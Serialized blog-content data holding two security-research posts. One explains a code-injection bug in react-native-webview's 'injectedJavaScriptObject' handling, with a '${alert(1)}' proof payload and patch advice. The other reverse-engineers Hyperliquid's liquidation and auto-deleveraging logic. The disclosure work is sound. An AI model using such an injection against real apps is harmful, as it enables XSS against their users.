\"(function(){",{"type":26,"tag":475,"props":158025,"children":158026},{"style":48067},[158027],{"type":32,"value":48070},{"type":26,"tag":475,"props":158029,"children":158030},{"style":629},[158031],{"type":32,"value":727},{"type":26,"tag":475,"props":158033,"children":158034},{"style":714},[158035],{"type":32,"value":9496},{"type":26,"tag":475,"props":158037,"children":158038},{"class":477,"line":548},[158039,158044,158048,158053,158057,158062,158066,158070,158074,158079,158083,158087],{"type":26,"tag":475,"props":158040,"children":158041},{"style":629},[158042],{"type":32,"value":158043}," \" window.\"",{"type":26,"tag":475,"props":158045,"children":158046},{"style":714},[158047],{"type":32,"value":8616},{"type":26,"tag":475,"props":158049,"children":158050},{"style":499},[158051],{"type":32,"value":158052}," JAVASCRIPT_INTERFACE ",{"type":26,"tag":475,"props":158054,"children":158055},{"style":714},[158056],{"type":32,"value":1106},{"type":26,"tag":475,"props":158058,"children":158059},{"style":629},[158060],{"type":32,"value":158061}," \" = window.\"",{"type":26,"tag":475,"props":158063,"children":158064},{"style":714},[158065],{"type":32,"value":8616},{"type":26,"tag":475,"props":158067,"children":158068},{"style":499},[158069],{"type":32,"value":158052},{"type":26,"tag":475,"props":158071,"children":158072},{"style":714},[158073],{"type":32,"value":1106},{"type":26,"tag":475,"props":158075,"children":158076},{"style":629},[158077],{"type":32,"value":158078}," \" || {};",{"type":26,"tag":475,"props":158080,"children":158081},{"style":48067},[158082],{"type":32,"value":48070},{"type":26,"tag":475,"props":158084,"children":158085},{"style":629},[158086],{"type":32,"value":727},{"type":26,"tag":475,"props":158088,"children":158089},{"style":714},[158090],{"type":32,"value":9496},{"type":26,"tag":475,"props":158092,"children":158093},{"class":477,"line":558},[158094,158098,158102,158106,158110,158115,158119,158124,158128,158132,158136,158140,158144,158148,158153,158157,158162,158166,158171,158175,158179,158184,158188,158192],{"type":26,"tag":475,"props":158095,"children":158096},{"style":629},[158097],{"type":32,"value":158043},{"type":26,"tag":475,"props":158099,"children":158100},{"style":714},[158101],{"type":32,"value":8616},{"type":26,"tag":475,"props":158103,"children":158104},{"style":499},[158105],{"type":32,"value":158052},{"type":26,"tag":475,"props":158107,"children":158108},{"style":714},[158109],{"type":32,"value":1106},{"type":26,"tag":475,"props":158111,"children":158112},{"style":629},[158113],{"type":32,"value":158114}," \".injectedObjectJson = function () { return \"",{"type":26,"tag":475,"props":158116,"children":158117},{"style":714},[158118],{"type":32,"value":8616},{"type":26,"tag":475,"props":158120,"children":158121},{"style":499},[158122],{"type":32,"value":158123}," (injectedJavaScriptObject ",{"type":26,"tag":475,"props":158125,"children":158126},{"style":714},[158127],{"type":32,"value":8287},{"type":26,"tag":475,"props":158129,"children":158130},{"style":482},[158131],{"type":32,"value":69961},{"type":26,"tag":475,"props":158133,"children":158134},{"style":586},[158135],{"type":32,"value":97660},{"type":26,"tag":475,"props":158137,"children":158138},{"style":482},[158139],{"type":32,"value":69961},{"type":26,"tag":475,"props":158141,"children":158142},{"style":586},[158143],{"type":32,"value":34811},{"type":26,"tag":475,"props":158145,"children":158146},{"style":499},[158147],{"type":32,"value":2775},{"type":26,"tag":475,"props":158149,"children":158150},{"style":629},[158151],{"type":32,"value":158152},"\"`\"",{"type":26,"tag":475,"props":158154,"children":158155},{"style":714},[158156],{"type":32,"value":8616},{"type":26,"tag":475,"props":158158,"children":158159},{"style":499},[158160],{"type":32,"value":158161}," injectedJavaScriptObject ",{"type":26,"tag":475,"props":158163,"children":158164},{"style":714},[158165],{"type":32,"value":1106},{"type":26,"tag":475,"props":158167,"children":158168},{"style":629},[158169],{"type":32,"value":158170}," \"`\"",{"type":26,"tag":475,"props":158172,"children":158173},{"style":499},[158174],{"type":32,"value":8548},{"type":26,"tag":475,"props":158176,"children":158177},{"style":714},[158178],{"type":32,"value":1106},{"type":26,"tag":475,"props":158180,"children":158181},{"style":629},[158182],{"type":32,"value":158183}," \"; };",{"type":26,"tag":475,"props":158185,"children":158186},{"style":48067},[158187],{"type":32,"value":48070},{"type":26,"tag":475,"props":158189,"children":158190},{"style":629},[158191],{"type":32,"value":727},{"type":26,"tag":475,"props":158193,"children":158194},{"style":714},[158195],{"type":32,"value":9496},{"type":26,"tag":475,"props":158197,"children":158198},{"class":477,"line":582},[158199,158204],{"type":26,"tag":475,"props":158200,"children":158201},{"style":629},[158202],{"type":32,"value":158203}," \"})();\"",{"type":26,"tag":475,"props":158205,"children":158206},{"style":499},[158207],{"type":32,"value":2729},{"type":26,"tag":475,"props":158209,"children":158210},{"class":477,"line":596},[158211,158216],{"type":26,"tag":475,"props":158212,"children":158213},{"style":493},[158214],{"type":32,"value":158215}," evaluateJavascriptWithFallback",{"type":26,"tag":475,"props":158217,"children":158218},{"style":499},[158219],{"type":32,"value":158220},"(js);\n",{"type":26,"tag":475,"props":158222,"children":158223},{"class":477,"line":610},[158224],{"type":26,"tag":475,"props":158225,"children":158226},{"style":499},[158227],{"type":32,"value":12372},{"type":26,"tag":35,"props":158229,"children":158230},{},[158231,158233,158239,158241,158246,158248,158254],{"type":32,"value":158232},"It basically injects a javascript code with the ",{"type":26,"tag":53,"props":158234,"children":158236},{"className":158235},[],[158237],{"type":32,"value":158238},"injectedJavascriptObject",{"type":32,"value":158240}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":26,"tag":53,"props":158242,"children":158244},{"className":158243},[],[158245],{"type":32,"value":158238},{"type":32,"value":158247},". If we control a single attribute we can inject a payload like ",{"type":26,"tag":53,"props":158249,"children":158251},{"className":158250},[],[158252],{"type":32,"value":158253},"${alert(1)}",{"type":32,"value":158255}," and achieve XSS in the context of the loaded page.",{"type":26,"tag":35,"props":158257,"children":158258},{},[158259,158261,158268],{"type":32,"value":158260},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":26,"tag":116,"props":158262,"children":158265},{"href":158263,"rel":158264},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[120],[158266],{"type":32,"value":158267},"PR with the report and fix",{"type":32,"value":353},{"type":26,"tag":35,"props":158270,"children":158271},{},[158272],{"type":32,"value":158273},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":26,"tag":35,"props":158275,"children":158276},{},[158277,158279,158285],{"type":32,"value":158278},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":26,"tag":53,"props":158280,"children":158282},{"className":158281},[],[158283],{"type":32,"value":158284},"injectedJavaScriptObject",{"type":32,"value":158286}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":26,"tag":41,"props":158288,"children":158289},{"id":2533},[158290],{"type":32,"value":2536},{"type":26,"tag":35,"props":158292,"children":158293},{},[158294],{"type":32,"value":158295},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":26,"tag":2548,"props":158297,"children":158298},{},[158299],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":158301},[158302,158306,158309,158310],{"id":156025,"depth":516,"text":156028,"children":158303},[158304,158305],{"id":156036,"depth":539,"text":156039},{"id":156111,"depth":539,"text":156114},{"id":156144,"depth":516,"text":156147,"children":158307},[158308],{"id":156334,"depth":539,"text":156337},{"id":157854,"depth":516,"text":157857},{"id":157929,"depth":516,"text":157932,"children":158311},[158312],{"id":2533,"depth":539,"text":2536},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":158317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158318,"description":158319,"date":158320,"author":158321,"image":158322,"isFeatured":18,"onBlogPage":18,"tags":158326,"hideToc":18,"body":158330,"_type":2566,"_id":164969,"_source":2568,"_file":164970,"_stem":164971,"_extension":2571},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":158323,"width":158324,"height":158325},"/posts/hyperliquid-risk-engine/title.png",1456,816,[158327,158328,158329],"hyperliquid","reverse-engineering","defi",{"type":23,"children":158331,"toc":164941},[158332,158338,158346,158351,158356,158361,158373,158378,158391,158410,158416,158428,158441,158446,158477,158482,158495,158500,158691,158697,158702,158714,158720,158725,158731,158744,158778,158783,158788,158800,158806,158826,158834,158847,158853,158864,158870,158882,158887,158893,158913,158921,158927,158961,158965,159001,159006,159011,159016,159029,159066,159071,159085,159091,159096,159122,159130,159135,159163,159168,159173,159511,159516,159521,159541,159568,159573,159586,159598,159603,159608,159614,159619,159624,159638,159643,159649,159677,159714,159725,159729,159734,159739,159745,159911,159946,159951,159957,159963,160152,160165,160170,160176,160197,160202,160208,160213,160218,160230,160235,160240,160246,160251,160256,160262,160268,160281,160314,160319,162895,163163,163168,164498,164503,164508,164520,164611,164623,164628,164634,164639,164647,164652,164660,164666,164700,164711,164719,164725,164731,164736,164744,164749,164754,164762,164774,164780,164785,164791,164802,164807,164813,164818,164823,164829,164834,164837,164842,164847,164853,164858,164870,164875,164880],{"type":26,"tag":27,"props":158333,"children":158335},{"id":158334},"perpetuals",[158336],{"type":32,"value":158337},"Perpetuals",{"type":26,"tag":2637,"props":158339,"children":158340},{},[158341],{"type":26,"tag":35,"props":158342,"children":158343},{},[158344],{"type":32,"value":158345},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":26,"tag":35,"props":158347,"children":158348},{},[158349],{"type":32,"value":158350},"What does that even have to do with reverse engineering?",{"type":26,"tag":27,"props":158352,"children":158353},{"id":158327},[158354],{"type":32,"value":158355},"Hyperliquid",{"type":26,"tag":35,"props":158357,"children":158358},{},[158359],{"type":32,"value":158360},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":26,"tag":35,"props":158362,"children":158363},{},[158364,158366,158371],{"type":32,"value":158365},"The node is tasked with a ",{"type":26,"tag":2615,"props":158367,"children":158368},{},[158369],{"type":32,"value":158370},"very hard problem",{"type":32,"value":158372},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":26,"tag":35,"props":158374,"children":158375},{},[158376],{"type":32,"value":158377},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":26,"tag":35,"props":158379,"children":158380},{},[158381,158383,158389],{"type":32,"value":158382},"Beyond that, the ",{"type":26,"tag":53,"props":158384,"children":158386},{"className":158385},[],[158387],{"type":32,"value":158388},"hl-node",{"type":32,"value":158390}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":26,"tag":35,"props":158392,"children":158393},{},[158394,158396,158401,158403,158408],{"type":32,"value":158395},"Armed with some curiosity, a good amount of ",{"type":26,"tag":2615,"props":158397,"children":158398},{},[158399],{"type":32,"value":158400},"inference",{"type":32,"value":158402},", and the right tooling, we'll take a deep dive using an ",{"type":26,"tag":2615,"props":158404,"children":158405},{},[158406],{"type":32,"value":158407},"interactive interface",{"type":32,"value":158409},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":26,"tag":27,"props":158411,"children":158413},{"id":158412},"the-million-dollar-question",[158414],{"type":32,"value":158415},"The Million Dollar Question",{"type":26,"tag":35,"props":158417,"children":158418},{},[158419,158421,158426],{"type":32,"value":158420},"Let's say a terrible trader opens a ",{"type":26,"tag":2615,"props":158422,"children":158423},{},[158424],{"type":32,"value":158425},"50x",{"type":32,"value":158427}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":26,"tag":35,"props":158429,"children":158430},{},[158431,158433,158439],{"type":32,"value":158432},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":26,"tag":53,"props":158434,"children":158436},{"className":158435},[],[158437],{"type":32,"value":158438},"compute_margin_requirement_by_mode",{"type":32,"value":158440}," function.",{"type":26,"tag":35,"props":158442,"children":158443},{},[158444],{"type":32,"value":158445},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":26,"tag":158447,"props":158448,"children":158449},"tip",{},[158450],{"type":26,"tag":35,"props":158451,"children":158452},{},[158453,158455,158460,158462,158469,158471,158476],{"type":32,"value":158454},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":26,"tag":2615,"props":158456,"children":158457},{},[158458],{"type":32,"value":158459},"click through",{"type":32,"value":158461}," each action performed by ",{"type":26,"tag":116,"props":158463,"children":158466},{"href":158464,"rel":158465},"https://github.com/renato-osec/patina-research",[120],[158467],{"type":32,"value":158468},"our Rust reverse engineering agent",{"type":32,"value":158470},". Return to the regular view by clicking ",{"type":26,"tag":53,"props":158472,"children":158474},{"className":158473},[],[158475],{"type":32,"value":5701},{"type":32,"value":353},{"type":26,"tag":158478,"props":158479,"children":158481},"bndb-viewer-embed",{"addr":158480,"line-start":3722,"line-end":133986},"0x555556bb4d20",[],{"type":26,"tag":35,"props":158483,"children":158484},{},[158485,158487,158493],{"type":32,"value":158486},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":26,"tag":53,"props":158488,"children":158490},{"className":158489},[],[158491],{"type":32,"value":158492},"OptionUnitQty",{"type":32,"value":158494},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":26,"tag":35,"props":158496,"children":158497},{},[158498],{"type":32,"value":158499},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":26,"tag":465,"props":158501,"children":158502},{},[158503],{"type":26,"tag":53,"props":158504,"children":158507},{"className":158505},[3691,158506],"math-display",[158508],{"type":26,"tag":475,"props":158509,"children":158512},{"className":158510},[158511],"katex-display",[158513],{"type":26,"tag":475,"props":158514,"children":158516},{"className":158515},[3697],[158517],{"type":26,"tag":475,"props":158518,"children":158520},{"className":158519,"ariaHidden":3703},[3702],[158521,158552],{"type":26,"tag":475,"props":158522,"children":158524},{"className":158523},[3708],[158525,158529,158539,158543,158548],{"type":26,"tag":475,"props":158526,"children":158528},{"className":158527,"style":94080},[3713],[],{"type":26,"tag":475,"props":158530,"children":158532},{"className":158531},[3719,32],[158533],{"type":26,"tag":475,"props":158534,"children":158536},{"className":158535},[3719],[158537],{"type":32,"value":158538},"liq_equity",{"type":26,"tag":475,"props":158540,"children":158542},{"className":158541,"style":3898},[3800],[],{"type":26,"tag":475,"props":158544,"children":158546},{"className":158545},[3903],[158547],{"type":32,"value":786},{"type":26,"tag":475,"props":158549,"children":158551},{"className":158550,"style":3898},[3800],[],{"type":26,"tag":475,"props":158553,"children":158555},{"className":158554},[3708],[158556,158561],{"type":26,"tag":475,"props":158557,"children":158560},{"className":158558,"style":158559},[3713],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":26,"tag":475,"props":158562,"children":158564},{"className":158563},[3719],[158565,158569,158687],{"type":26,"tag":475,"props":158566,"children":158568},{"className":158567},[21425,112997],[],{"type":26,"tag":475,"props":158570,"children":158572},{"className":158571},[113002],[158573],{"type":26,"tag":475,"props":158574,"children":158576},{"className":158575},[3741,21350],[158577,158675],{"type":26,"tag":475,"props":158578,"children":158580},{"className":158579},[3746],[158581,158670],{"type":26,"tag":475,"props":158582,"children":158585},{"className":158583,"style":158584},[3751],"height:1.427em;",[158586,158626,158637],{"type":26,"tag":475,"props":158587,"children":158589},{"style":158588},"top:-2.314em;",[158590,158594],{"type":26,"tag":475,"props":158591,"children":158593},{"className":158592,"style":111650},[3760],[],{"type":26,"tag":475,"props":158595,"children":158597},{"className":158596},[3719],[158598,158603,158607,158612,158616],{"type":26,"tag":475,"props":158599,"children":158601},{"className":158600},[3719],[158602],{"type":32,"value":2830},{"type":26,"tag":475,"props":158604,"children":158606},{"className":158605,"style":3801},[3800],[],{"type":26,"tag":475,"props":158608,"children":158610},{"className":158609},[3806],[158611],{"type":32,"value":110741},{"type":26,"tag":475,"props":158613,"children":158615},{"className":158614,"style":3801},[3800],[],{"type":26,"tag":475,"props":158617,"children":158619},{"className":158618},[3719,32],[158620],{"type":26,"tag":475,"props":158621,"children":158623},{"className":158622},[3719],[158624],{"type":32,"value":158625},"leverage",{"type":26,"tag":475,"props":158627,"children":158628},{"style":113052},[158629,158633],{"type":26,"tag":475,"props":158630,"children":158632},{"className":158631,"style":111650},[3760],[],{"type":26,"tag":475,"props":158634,"children":158636},{"className":158635,"style":113062},[113061],[],{"type":26,"tag":475,"props":158638,"children":158640},{"style":158639},"top:-3.677em;",[158641,158645],{"type":26,"tag":475,"props":158642,"children":158644},{"className":158643,"style":111650},[3760],[],{"type":26,"tag":475,"props":158646,"children":158648},{"className":158647},[3719],[158649,158655,158665],{"type":26,"tag":475,"props":158650,"children":158652},{"className":158651},[3719],[158653],{"type":32,"value":158654},"∣",{"type":26,"tag":475,"props":158656,"children":158658},{"className":158657},[3719,32],[158659],{"type":26,"tag":475,"props":158660,"children":158662},{"className":158661},[3719],[158663],{"type":32,"value":158664},"notional",{"type":26,"tag":475,"props":158666,"children":158668},{"className":158667},[3719],[158669],{"type":32,"value":158654},{"type":26,"tag":475,"props":158671,"children":158673},{"className":158672},[21453],[158674],{"type":32,"value":21456},{"type":26,"tag":475,"props":158676,"children":158678},{"className":158677},[3746],[158679],{"type":26,"tag":475,"props":158680,"children":158683},{"className":158681,"style":158682},[3751],"height:0.8804em;",[158684],{"type":26,"tag":475,"props":158685,"children":158686},{},[],{"type":26,"tag":475,"props":158688,"children":158690},{"className":158689},[21447,112997],[],{"type":26,"tag":27,"props":158692,"children":158694},{"id":158693},"what-if-nobody-wants-to-buy-the-position",[158695],{"type":32,"value":158696},"What If Nobody Wants to Buy the Position?",{"type":26,"tag":35,"props":158698,"children":158699},{},[158700],{"type":32,"value":158701},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":26,"tag":35,"props":158703,"children":158704},{},[158705,158707,158712],{"type":32,"value":158706},"When that happens, the exchange is basically left with a ",{"type":26,"tag":2615,"props":158708,"children":158709},{},[158710],{"type":32,"value":158711},"hot potato",{"type":32,"value":158713}," to get rid of: what should it even do with the debt?",{"type":26,"tag":35068,"props":158715,"children":158717},{"id":158716},"the-risk-engine",[158718],{"type":32,"value":158719},"The Risk Engine",{"type":26,"tag":35,"props":158721,"children":158722},{},[158723],{"type":32,"value":158724},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":26,"tag":27,"props":158726,"children":158728},{"id":158727},"clearing-up-bad-debt",[158729],{"type":32,"value":158730},"Clearing Up Bad Debt",{"type":26,"tag":35,"props":158732,"children":158733},{},[158734,158735,158742],{"type":32,"value":16319},{"type":26,"tag":116,"props":158736,"children":158739},{"href":158737,"rel":158738},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[120],[158740],{"type":32,"value":158741},"Hyperliquid docs",{"type":32,"value":158743}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":26,"tag":35,"props":158745,"children":158746},{},[158747,158749,158760,158762,158768,158770,158776],{"type":32,"value":158748},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":26,"tag":116,"props":158750,"children":158753},{"href":158751,"rel":158752},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[120],[158754],{"type":26,"tag":53,"props":158755,"children":158757},{"className":158756},[],[158758],{"type":32,"value":158759},"Clearinghouse",{"type":32,"value":158761},", a struct containing all liquidation-related info, nested within a bigger ",{"type":26,"tag":53,"props":158763,"children":158765},{"className":158764},[],[158766],{"type":32,"value":158767},"Exchange",{"type":32,"value":158769}," data structure. This is an example of what it might hold when serialized as ",{"type":26,"tag":53,"props":158771,"children":158773},{"className":158772},[],[158774],{"type":32,"value":158775},"MessagePack",{"type":32,"value":158777}," at runtime.",{"type":26,"tag":35,"props":158779,"children":158780},{},[158781],{"type":32,"value":158782},"This data will come in handy both for us and the agent.",{"type":26,"tag":158784,"props":158785,"children":158787},"file-download",{"path":158786},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":26,"tag":35,"props":158789,"children":158790},{},[158791,158793,158798],{"type":32,"value":158792},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":26,"tag":53,"props":158794,"children":158796},{"className":158795},[],[158797],{"type":32,"value":158759},{"type":32,"value":158799},". Some renaming later, we can infer something like this:",{"type":26,"tag":158478,"props":158801,"children":158805},{"source":158802,"target":158803,"direction":158804},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":26,"tag":35,"props":158807,"children":158808},{},[158809,158811,158816,158818,158824],{"type":32,"value":158810},"We have one huge function handling all clearinghouse operations, which we call ",{"type":26,"tag":53,"props":158812,"children":158814},{"className":158813},[],[158815],{"type":32,"value":158803},{"type":32,"value":158817},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":26,"tag":53,"props":158819,"children":158821},{"className":158820},[],[158822],{"type":32,"value":158823},"exchange_end_block",{"type":32,"value":158825},". So, at the end of each block we run some checks.",{"type":26,"tag":158447,"props":158827,"children":158828},{},[158829],{"type":26,"tag":35,"props":158830,"children":158831},{},[158832],{"type":32,"value":158833},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":26,"tag":35,"props":158835,"children":158836},{},[158837,158839,158845],{"type":32,"value":158838},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":26,"tag":53,"props":158840,"children":158842},{"className":158841},[],[158843],{"type":32,"value":158844},"clearinghouse.perform_auto_deleveraging",{"type":32,"value":158846}," flag.",{"type":26,"tag":158478,"props":158848,"children":158852},{"addr":158849,"line-start":158850,"line-end":158851},"0x555556ac3850","3290","3301",[],{"type":26,"tag":35,"props":158854,"children":158855},{},[158856,158858,158863],{"type":32,"value":158857},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":26,"tag":53,"props":158859,"children":158861},{"className":158860},[],[158862],{"type":32,"value":158759},{"type":32,"value":2863},{"type":26,"tag":41,"props":158865,"children":158867},{"id":158866},"threshold-condition",[158868],{"type":32,"value":158869},"Threshold Condition",{"type":26,"tag":35,"props":158871,"children":158872},{},[158873,158875,158880],{"type":32,"value":158874},"The natural connection between liquidations and ADL is ",{"type":26,"tag":2615,"props":158876,"children":158877},{},[158878],{"type":32,"value":158879},"shortfall",{"type":32,"value":158881},": by how much a position, or the entire system (!), is underwater.",{"type":26,"tag":35,"props":158883,"children":158884},{},[158885],{"type":32,"value":158886},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":26,"tag":70,"props":158888,"children":158890},{"id":158889},"who-is-underwater",[158891],{"type":32,"value":158892},"Who Is Underwater?",{"type":26,"tag":35,"props":158894,"children":158895},{},[158896,158898,158903,158905,158911],{"type":32,"value":158897},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":26,"tag":53,"props":158899,"children":158901},{"className":158900},[],[158902],{"type":32,"value":158803},{"type":32,"value":158904},", starting from all user positions, which are stored in ",{"type":26,"tag":53,"props":158906,"children":158908},{"className":158907},[],[158909],{"type":32,"value":158910},"clearinghouse.user_states",{"type":32,"value":158912},", as we can also see from the serialization.",{"type":26,"tag":158447,"props":158914,"children":158915},{},[158916],{"type":26,"tag":35,"props":158917,"children":158918},{},[158919],{"type":32,"value":158920},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":26,"tag":158478,"props":158922,"children":158926},{"source":158923,"target":158823,"direction":158924,"path":158925},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":26,"tag":35,"props":158928,"children":158929},{},[158930,158931,158936,158938,158944,158946,158952,158954,158960],{"type":32,"value":16319},{"type":26,"tag":53,"props":158932,"children":158934},{"className":158933},[],[158935],{"type":32,"value":158923},{"type":32,"value":158937}," essentially turns that into an ",{"type":26,"tag":53,"props":158939,"children":158941},{"className":158940},[],[158942],{"type":32,"value":158943},"Iter",{"type":32,"value":158945},", then, inside of ",{"type":26,"tag":53,"props":158947,"children":158949},{"className":158948},[],[158950],{"type":32,"value":158951},"build_adl_candidate_set",{"type":32,"value":158953}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":26,"tag":53,"props":158955,"children":158957},{"className":158956},[],[158958],{"type":32,"value":158959},"AdlIterEntry",{"type":32,"value":58018},{"type":26,"tag":158478,"props":158962,"children":158964},{"type-name":158963},"AdlIterContext",[],{"type":26,"tag":35,"props":158966,"children":158967},{},[158968,158970,158976,158978,158984,158986,158992,158994,158999],{"type":32,"value":158969},"Note that in storage, ",{"type":26,"tag":53,"props":158971,"children":158973},{"className":158972},[],[158974],{"type":32,"value":158975},"Isolated",{"type":32,"value":158977}," positions have their own independent ",{"type":26,"tag":53,"props":158979,"children":158981},{"className":158980},[],[158982],{"type":32,"value":158983},"Entry",{"type":32,"value":158985}," in the position iterators, and ",{"type":26,"tag":53,"props":158987,"children":158989},{"className":158988},[],[158990],{"type":32,"value":158991},"Cross",{"type":32,"value":158993}," positions have a single common ",{"type":26,"tag":53,"props":158995,"children":158997},{"className":158996},[],[158998],{"type":32,"value":158983},{"type":32,"value":159000},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":26,"tag":158478,"props":159002,"children":159005},{"addr":159003,"line-start":43946,"line-end":159004},"0x555556266b10","163",[],{"type":26,"tag":35,"props":159007,"children":159008},{},[159009],{"type":32,"value":159010},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":26,"tag":158478,"props":159012,"children":159015},{"addr":158849,"line-start":159013,"line-end":159014},"506","527",[],{"type":26,"tag":35,"props":159017,"children":159018},{},[159019,159021],{"type":32,"value":159020},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":26,"tag":159022,"props":159023,"children":159026},"bndb-xref",{"lines":159024,"addrs":159025},"1-2","0x555556ac3e18-0x555556ac3e18",[159027],{"type":32,"value":159028},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":26,"tag":35,"props":159030,"children":159031},{},[159032,159034,159040,159042,159048,159050,159056,159058,159064],{"type":32,"value":159033},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":26,"tag":53,"props":159035,"children":159037},{"className":159036},[],[159038],{"type":32,"value":159039},"only_isolated",{"type":32,"value":159041}," (or ",{"type":26,"tag":53,"props":159043,"children":159045},{"className":159044},[],[159046],{"type":32,"value":159047},"strict_isolated",{"type":32,"value":159049}," in MessagePack dumps) are added to a separate queue, ",{"type":26,"tag":53,"props":159051,"children":159053},{"className":159052},[],[159054],{"type":32,"value":159055},"deferred_queue",{"type":32,"value":159057},", which triggers ADL regardless of the system's ",{"type":26,"tag":53,"props":159059,"children":159061},{"className":159060},[],[159062],{"type":32,"value":159063},"total_shortfall",{"type":32,"value":159065},". This is dictated by this branch.",{"type":26,"tag":158478,"props":159067,"children":159070},{"addr":158849,"line-start":159068,"line-end":159069},"211","243",[],{"type":26,"tag":35,"props":159072,"children":159073},{},[159074,159076,159083],{"type":32,"value":159075},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":26,"tag":116,"props":159077,"children":159080},{"href":159078,"rel":159079},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[120],[159081],{"type":32,"value":159082},"March 2025 incident",{"type":32,"value":159084},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":26,"tag":70,"props":159086,"children":159088},{"id":159087},"how-do-we-get-rid-of-debt",[159089],{"type":32,"value":159090},"How Do We Get Rid of Debt?",{"type":26,"tag":35,"props":159092,"children":159093},{},[159094],{"type":32,"value":159095},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":26,"tag":35,"props":159097,"children":159098},{},[159099,159101,159106,159108,159113,159115,159120],{"type":32,"value":159100},"Thus, if the debt is insurmountable, the ",{"type":26,"tag":53,"props":159102,"children":159104},{"className":159103},[],[159105],{"type":32,"value":159055},{"type":32,"value":159107}," is overwritten by all the users marked by 